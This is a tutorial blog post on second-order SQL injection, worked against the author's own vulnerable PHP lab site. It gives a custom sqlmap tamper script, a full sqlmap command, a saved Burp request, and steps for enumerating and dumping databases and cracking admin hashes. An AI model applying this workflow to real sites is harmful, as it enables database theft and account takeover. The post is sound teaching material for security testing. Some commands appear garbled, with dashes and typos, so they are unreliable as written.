Second Order SQL Injection Explained with Example
Summary
The second Sql injection is an application vulnerability, it occurs when the user sends values stored in the database and then it is used by some other function in the application. Usually data from external sources (users supplied) is considered dangerous if not carefully filtered. Second Order Sql Injection requires more knowledge of how submitted values are later used in order to perform successful second order sql injection. Follow the example below to understand more about Second Order SQL Injection.
Example
In this example, I prepared a site has vulnerable user signin, signup and search functionality. A user registers, then logins and search something. That is the case here, where input at index.php?t=signup
will be stored in the database . Later, when a action is made to login, that will be validated and then on redirection. The username is used to query the database to get name with that user.
In that example, I register and login with username “noobpk” and password “123456789”
Everything work right, However if I create a username as “noobpk’ — “ the query can corrupt so that error message is displayed. It seems like there is a query to the database to get name with our user, and the input isn’t filtered.
PoC SQLi with SQLmap
A standard SQLi attack with sqlmap
(even at most aggressive) is going to fail, as the injection happens at the registration, but then isn’t visible until later at the notes home page.
To do this successfully with sqlmap
, we’ll need to do the following steps:
1. Create an account with username being the injectable item
- via tamper script
2. Login with that account
sqlmap
main functionality
3. Visit /index.php
to look for results
--second-order
flag to tellsqlmap
to visit/index.php
to look for output- alternatively, we could leave this off and allow
sqlmap
to follow the redirect it gets back from logging in
Tamper Script — sql2nd-tamper.py
Key points for the script. The tamper
function will be called before each query that sqlmap
makes to the target. tamper
is passed the payload that will be used, and it returns that payload for use. We also have the opportunity to set other things, like cookies.
This script call create_account
, which will register an account on the site example. In that don’t set “PHPSESSID” in register page
We’ll want to use the same password here at registration that we use in the next step for login.
Here’s my custom sql2nd-tamper.py:
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def create_account(payload):
s = requests.Session()
# register with username = payload
# username=%27+--&password=123456789&re_password=123456789&dangky=
post_data = { 'username':payload, 'password':'123456789', 're_password':'123456789' ,'dangky':'' }
proxies = { 'http':'http://127.0.0.1:8080' }
response = s.post("http://localhost/web200/sql2order/index.php?t=signup", data=post_data, proxies=proxies)
# get cookie
#Set-Cookie: PHPSESSID=l5vdi7j5gq6g978bor44fndt80; path=/
php_cookie = re.search('PHPSESSID=(.*?);', response.headers['Set-Cookie']).group(1)
return "PHPSESSID={0}".format(php_cookie)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["Cookie"] = create_account(payload)
return payload
SQLmap Command Line
We’ll accomplish steps 2) and 3) with options at the sqlpmap
command line:
Les-MacBook-Pro:sqlmap-dev lethanhphuc$ python sqlmap.py — technique=U -r login.request — dbms mysql — tamper sql2ndtamper.py — second-url ‘http://localhost/web200/sql2order/index.php’ -p username — proxy http://127.0.0.1:8080
Options:
--technique=U
-sqlmap
will try six different classes of sqli attack: [B]oolean-based, [E]rror-based, [U]nion-based, [S]tacked queries, [T]imebased queries, and Inline [Q]ueries. By default, it’sBEUSTQ
, but since we already showed in the manual work that we’ll be using a union attack, we’ll reduce the number of checks
-r login.request
- a request saved out of burp, making sure there’s no PHPSESSID cookie, and that the password is the same as our tamper script:
POST /web200/sql2order/index.php?t=login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Connection: close
Referer: http://localhost/web200/sql2order/index.php?t=login
Cookie: PHPSESSID=42e6c959e5372476873d70201fb7b29c
Upgrade-Insecure-Requests: 1username=noobpk&password=123456789&dangnhap=
--dbms mysql
- given this is a linux host, and mysql is common with the linux / php stack, we’ll guess this to speed things up. Ifsqlmap
disagrees, it will tell us.--tamper sql2ndtamper.py
- our tamper script from above--second-url 'http://localhost/web200/sql2order/index.php'
- after the request toindex.php
to login, visit this url to check for results-p username
- we know from the manual work that the injectable parameter is the username--proxy http://127.0.0.1:8080
- send requests through Burp for analysis. Would probably remove this prior to a big dump of the database to speed things up
Details of Initial Run
We start sqlmap
with the commands above, and it runs until the following prompt:
Database Enumeration
With a working injection, we can now do further enumeration.
Adding --dbs
will show the database names:
Adding --tables
will show the tables. This query fails initially, but with a suggestion:
Adding --no-cast
will enable table enumeration. Wait some minute…:
Dumping Data
The --dump
flag will give the entries from a database. By default, that’s the current database in use by the application. There’s also a --dump-all
which will dump all databases, and a --exclude-sysdbs
.
So let’s start with the current db_sql
database:
If in database has account of admin, after letting sqlmap
crack the hashes, we can log in as admin and delfy:
Conclusion
Second Order SQL Injection is tricky, and there’s almost never going to be a tool that just does it for you. But, if you can write a python script, you can make sqlpmap
do what you’re looking for and get the data from the database.
Source Code
https://github.com/noobpk/sql2nd-example